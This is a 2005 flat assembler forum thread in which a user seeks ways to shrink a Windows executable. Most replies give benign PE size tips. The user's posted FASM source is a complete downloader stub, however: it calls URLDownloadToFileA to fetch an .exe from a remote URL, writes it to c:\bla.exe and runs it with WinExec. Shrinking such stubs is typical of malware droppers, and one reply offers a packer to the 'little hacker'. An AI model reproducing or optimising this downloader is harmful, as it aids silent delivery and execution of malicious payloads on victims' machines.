flat assembler
Message board for the users of flat assembler.
Index
> Main > smaller .exe |
Author |
|
johndoe 28 Jun 2005, 12:52
does anyone have tips or tricks to decrease the size of the end result of the .exe in windows
by that i DONT mean packers |
|||
28 Jun 2005, 12:52 |
|
mike.dld 28 Jun 2005, 13:08
Use Assembler instead of HLL
|
|||
28 Jun 2005, 13:08 |
|
johndoe 29 Jun 2005, 14:32
this is the code im trying to make smaller
1024bytes i think any ideas for making this SMALLER thanks format PE gui 4.0 include 'C:\fasm\include\win32a.inc' ; load library push szurlmon call [LoadLibrary] mov ebx, eax ; load function push szURLDownloadToFileA push ebx call [GetProcAddress] mov ebx, eax ; call downloading push 0 push 0 push szFilename push szURL push 0 call ebx ; exec file push 0 push szFilename call [WinExec] ; exit process push 0 call [ExitProcess] ; needed stuff .. szurlmon db 'urlmon.dll',0 szURLDownloadToFileA db 'URLDownloadToFileA',0 szURL db 'http://host.com/bla.exe', 0 szFilename db 'c:\bla.exe', 0 data import library kernel32, 'KERNEL32.DLL' include 'C:\fasm\include\APIA\KERNEL32.INC' end data |
|||
29 Jun 2005, 14:32 |
|
decard 29 Jun 2005, 14:40
You can't simply make PE file smaller than 1024 bytes. You can build such file manually. Search win32asmcommunity board, there was a topic about it.
|
|||
29 Jun 2005, 14:40 |
|
johndoe 29 Jun 2005, 14:54
what if i importer urtodownloadfilea
|
|||
29 Jun 2005, 14:54 |
|
El Tangas 30 Jun 2005, 20:21
Some recomend removing the dos stub to save space. But you can create a dos stub containing some of the data for your program, for example some strings (there is not much room in the stub, without increasing the size).
But since you already have 1024 bytes, you have to reduce manually, as decard said. |
|||
30 Jun 2005, 20:21 |
|
Vasilev Vjacheslav 01 Jul 2005, 09:57
you can use own dos-stub, also you can trim last section
Code: format pe gui 4.0 on "dos.dat" |
|||
01 Jul 2005, 09:57 |
|
johndoe 01 Jul 2005, 11:32
i have no idea how to do this
|
|||
01 Jul 2005, 11:32 |
|
Nikolay Petrov 01 Jul 2005, 21:54
it's possible with 16 bits NE executable. I send a exe file because a fasmw not support a dead formats.
See a sample:
|
|||||||||||
01 Jul 2005, 21:54 |
|
rambo 02 Jul 2005, 19:23
you can`t make it smaller, even without dos-stub. first section have to start at 0x200, so even, if you`ll remove dos-stub, you`ll have to fill space after header (in fact in header) with padding.
you can change file align, and then you`ll be able to remove padding at the end of file. and that`s all. you can`t do more. use packers, if you want to get it smaller. i wrote one, extreemly good for this file (667 bytes packed), so put me message, and i can provide it to you, little hacker ; )) |
|||
02 Jul 2005, 19:23 |
|
polygon7 03 Jul 2005, 19:32
_________________ best regards p7 |
|||
03 Jul 2005, 19:32 |
|
< Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.